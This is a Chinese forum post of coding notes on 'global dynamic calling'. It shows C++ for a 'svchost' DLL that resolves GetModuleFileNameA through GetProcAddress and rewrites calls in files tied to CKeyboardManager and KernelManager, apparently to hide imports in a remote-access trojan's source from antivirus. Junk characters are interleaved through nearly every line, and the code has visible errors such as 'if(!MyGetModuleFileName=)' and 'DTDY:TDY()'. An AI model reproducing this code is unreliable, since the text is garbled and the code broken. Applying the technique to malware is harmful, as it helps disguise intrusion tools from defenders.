返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 s' @0 G# G  i
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
8 _  N3 N. g/ j+ _----------------------------------------
& F! I: X/ {0 d4 {$ h; Q; m/ l- }DTDY.h:- K' g% k. S' e6 k4 F  J- y

( z/ @& o1 K! x3 @. w* J& t/ \( H#if _MSC_VER>1000
4 v* D# V- C3 s- S/ H#pragma once' F! L+ M0 H$ r) t0 A
#endif //_MSC_VER>1000; c/ B9 a5 F6 c6 e3 X) F- X
#include<windows.h>- w" \  y( e$ V' L) _3 a5 Z

) U. Y* L* O/ w' T  J8 v, L; btypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);( o3 v5 u! x: S" V
class DTDY5 W  z0 W1 g: N& Q
{
2 B1 t3 Q% F3 h7 b# s9 Mpublic:: e/ H7 j+ w& ?
DTDY();
: ]+ z% p' F$ o4 g* Bvirtual ~DTDY();% R9 f9 N* a- f. c* K, H3 w9 P& P
public:
- t( P% T) ]* t: a" i# Xstatic pGetModuleFileNameA MyGetModuleFileName;
! Z- e. ]" P5 `9 mstatic BOOL FunInitiallization();
- ]% C" {2 ?( v% `3 B};
1 H- i9 L' k/ j. r  C#endif# w" D9 g1 x, m: n, j6 u8 {2 [# n
----------------------------------------6 |) |8 R+ z. ]) o3 s3 v
8 O* n, @9 y' E3 C# k4 |! v
DTDY.cpp:
) R+ B; I8 @3 v: R2 Y6 S
$ m: {0 Y1 b4 K: C#include "DTDY.h"
3 d5 k  _4 U  e- |" V; f7 O. e/ l: q- CpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 D" x. Q9 Q) K7 h
DTDY:TDY()8 O; w! J+ O! B; M6 c
{1 v" a: O2 J6 v7 t- g9 [7 w
}
6 u9 W: K1 `: B2 GDTDY::~DTDY()+ A2 y  F- ~/ g. u! p' j9 V) ~1 _
{) e5 O- [' V$ P
}
* s, }$ J, R; m* U3 o6 b1 q1 UBOOL DTDY::FunInitiallization()+ h& A% w% l; s$ a$ I1 ]: I
{% t+ a7 B( ]( O. k. g, k# i
HMODULE hModule=LoadLibrary("kernel32.dll");
# V  \7 v+ J( V" _5 hMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
$ q3 P& F/ T. I+ p: B! t5 ~if(!MyGetModuleFileName=) return FALSE;
7 `2 F- b' c: P5 r" u, z9 }" Y
4 e# ^. N3 U) m2 @. rreturn TRUE;' C0 v1 f% M2 D. R# Z
}9 h7 B+ S- [8 ]" ?4 Y& ?0 m
----------------------------------------0 N1 @( e- x# d6 o
svchost.cpp:8 z! n4 e+ F+ x! o; k) q
  E9 ~* \& C, s2 f' d
#include "DTDY.h") x1 `$ i( Z. h/ a; f+ B! [
$ k5 u7 S& b% ~! N7 q& N
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 H  j8 I3 [/ r/ k# x
{' ?1 }! n, g  N% ~
switch(ul_reason_for_call)% V! k$ [7 ~) b4 i- u" m* k
{
, v( n7 u" M& }+ g  Wcase DLL_PROCESS_ATTACH:
  z8 Y% b4 ], z: Gif(!DTDY::FunInitiallization()) return FALSE;
: S2 J2 D. J7 ?, u# P! m
& o0 S6 i. H, t4 L( Q5 K( k2 {3 D+ abreak;
6 L- r' Z( T6 m$ q2 w& D9 j$ x  V1 q* ]}
5 V. m& }. e$ b; t}3 |6 p  x% d: M5 G

' @# E. k3 h/ {* J9 r  r. W$ @. \7 A& r1 O
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
. d. ~8 n3 p5 w0 W  O; _$ e5 F3 T改写为
* E3 B7 j, I& P! ^, R# X$ K3 vDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));8 D( G4 c& E5 r' ?% ^
----------------------------------------
4 e8 L7 G+ T$ N! ^KernelManager.cpp:, y8 D6 {) e& d3 c6 x6 ?
0 i  h& e* t# K2 E
#include "../DTDY.h"
- l9 ?% @/ m; e# CGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));+ F3 i+ j, s" J- q6 K
改写为7 q) R- K3 d& z) i
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' W+ Y' k! Q8 Q4 r----------------------------------------

返回列表